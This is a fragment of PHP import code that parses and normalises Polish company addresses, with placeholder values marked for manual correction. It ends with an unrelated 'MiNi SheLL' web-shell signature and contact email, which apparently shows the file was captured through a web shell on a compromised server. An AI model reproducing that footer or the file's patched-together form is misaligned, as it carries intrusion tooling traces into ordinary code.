            //czasem, zwłaszcza przy import_firm2 zdarza się sytuacja, gdzie firma nic nie ma w polu ulica itd. - jest zbita miejscowość z numerem domu/lokalu
            if(!empty($user['miejscowosc'])) { //prawdopodobnie w polu "miejscowosc" siedzi coś w stylu "Chlebowo 16", czyli miejscowość i nazwa ulicy w jednym oraz numer domu                
                $matches = [];
                preg_match('/([0-9])/', $user['miejscowosc'], $matches, PREG_OFFSET_CAPTURE);
                if(isset($matches[1][1])) {
                    $user['adres'] = $user['miejscowosc'];
                    $user['miejscowosc'] = trim(substr($user['miejscowosc'], 0, $matches[1][1]));
                } 
            }
        }
        
        if(in_array(mb_strtolower(mb_substr($user['adres'], 0, 3)), ['al.', 'ul.', 'os.'])) {
            $user['adres'] = trim(mb_substr($user['adres'], 3));
        }
        
        if(empty($user['adres'])) {    
            $user['adres'] = 'BRAK'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
        }
        
//        var_dump($user['adres']); exit;
        if(empty($user['nr_budynku'])) {
            $matches = [];
            if(preg_match('@(.{0,5}[^0-9]*)\s([a-zA-Z]?[0-9]+.*)@', $user['adres'], $matches, 0) === 1) {
                $model->street = trim($matches[1]);
                $model->building_number = trim($matches[2]);
                $model->apartment_number = !empty($user['nr_lokalu']) ? $user['nr_lokalu'] : null;
            } else {
                //@todo ustalić czy w ogóle takie coś odwalamy...
                $model->street = trim($user['adres']);
                $model->building_number = '000'; //@todo proteza, po której trzeba będzie wyszukać firmy i ręcznie poprawić
                $model->apartment_number = null;
            }
        } else {
            $model->street = $user['adres'];
            $model->building_number = $user['nr_budynku'];
            $model->apartment_number = !empty($user['nr_lokalu']) ? $user['nr_lokalu'] : null;
        }        
        
        if(mb_strlen($model->building_number) > 15) {
            $model->building_number = str_replace(" ", "", $model->building_number);
            if(mb_strlen($model->building_number) > 15) {
                $model->building_number = mb_substr($model->building_number, 0, 15);
                if(empty($model->apartment_number)) {
                    $model->apartment_number = mb_substr($model->building_number, 14, 10);
                }
                $model->address_cont = $user['adres'];
            }
        }
        
        if(!empty($user['kod_1']) && !empty($user['kod_2'])) {
            $model->postcode = $user['kod_1'].'-'.$user['kod_2'];
        } elseif(!empty($user['kod_panstwo'])) {
            $model->postcode = $user['kod_panstwo'];
        } else {
            $model->postcode = null;
        }
        
        if(empty($model->postcode)) {
            $model->postcode = '99-999'; //@todo proteza, po której będziemy te firmy wyszukiwać i ręcznie poprawiać
        }

        $model->locality = !empty($user['miejscowosc']) ? $user['miejscowosc'] : 'BRAK';
        
        if(empty($user['wojewodztwo']) || !isset($this->regionsMap[intval($user['wojewodztwo'])])) {
            if(!empty($user['adres']) || !empty($user['miejscowosc'])) {
                $model->region = 'BRAK'; //@todo proteza
            }
        } else {
            $model->region = $this->regionsMap[intval($user['wojewodztwo'])];
        }
        
        
        if($model->region === 'BRAK' && (!empty($user['state']))) {
            $model->id_country = null; //@todo tutaj będzie trzeba zrobić jakąś protezę, która uwzględni te zagraniczne firmy...
        } else {
            $model->id_country = 'PL';
        }    
 
        return $model;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com